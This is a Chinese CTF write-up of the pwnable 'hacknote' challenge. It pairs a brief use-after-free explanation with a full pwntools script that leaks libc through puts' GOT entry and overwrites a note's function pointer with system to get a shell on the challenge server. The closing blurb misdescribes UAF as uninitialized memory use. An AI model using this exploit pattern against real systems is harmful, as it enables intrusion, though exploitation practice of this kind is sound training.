81 pwnable_hacknote
保护

菜单堆
add

申请好的结构是下面这样的。

delete
没有清理干净,uaf。
直接调用那个puts函数,那直接想到如果把它改成system,content里面改成’/bin/sh’,这不就好了嘛?
先申请一个0x8的,再申请0x100的,再全部释放掉,就会导致fastbin里面会有三个chunk,再申请0x8,就可以对chunk0的第一层chunk进行任意写。
因为uaf,导致我们还是能使用print函数,但是print的那个chunk被清空了,我们就利用刚刚的任意写,给它写进去,然后做到泄露地址。
释放掉申请回来再次任意写,system,参数,都写进去,要注意,这个时候system的参数就是第一层chunk,而不是chunk里面的第二个指针了,所以下面用到了’||sh’。
# -*- coding: utf-8 -*-
from pwn import*
r=remote('node3.buuoj.cn',27080)
#r = process('./81')
elf=ELF('./81')
libc = ELF('./32/libc-2.23.so')
#libc = ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_i386/libc.so.6')
context.log_level = "debug"
def add(size, content):
r.sendlineafter("Your choice :", "1")
r.sendlineafter("Note size :", str(size))
r.sendlineafter("Content :", content)
def delete(index):
r.sendlineafter("Your choice :", "2")
r.sendlineafter("Index :", str(index))
def show(index):
r.sendlineafter("Your choice :", "3")
r.sendlineafter("Index :", str(index))
puts_got = elf.got['puts']
putss = 0x804862b
add(0x8, '/bin/sh\x00') #0
add(0x100, 'bbbb') #1
add(0x10, 'cccc') #2 防合并
delete(0)
delete(1)
payload = p32(putss) + p32(puts_got)
add(0x8, payload) #3
show(0)
#chunk里面的内容free掉了,再写回来
#gdb.attach(r)
puts_addr = u32(r.recv(4))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
print hex(libc_base)
delete(3)
payload = p32(system_addr) + '||sh'
add(0x8, payload)
#释放掉重新申请重新写一下
#gdb.attach(r)
show(0)
#get shell
r.interactive()

本文讲述了81pwnable_hacknote中的内存溢出利用技巧,包括UAF(未初始化的内存使用)和通过任意写入实现地址泄露与系统调用,以及actf_2019_babystack中的信号处理与栈溢出攻击。后续的83hitcon2014_stkof和84ciscn_2019_es_1涉及堆溢出、got表劫持与doublefree。85cmcc_pwnme2展示了如何通过栈溢出和字符串替换获取flag。
最低0.47元/天 解锁文章
406





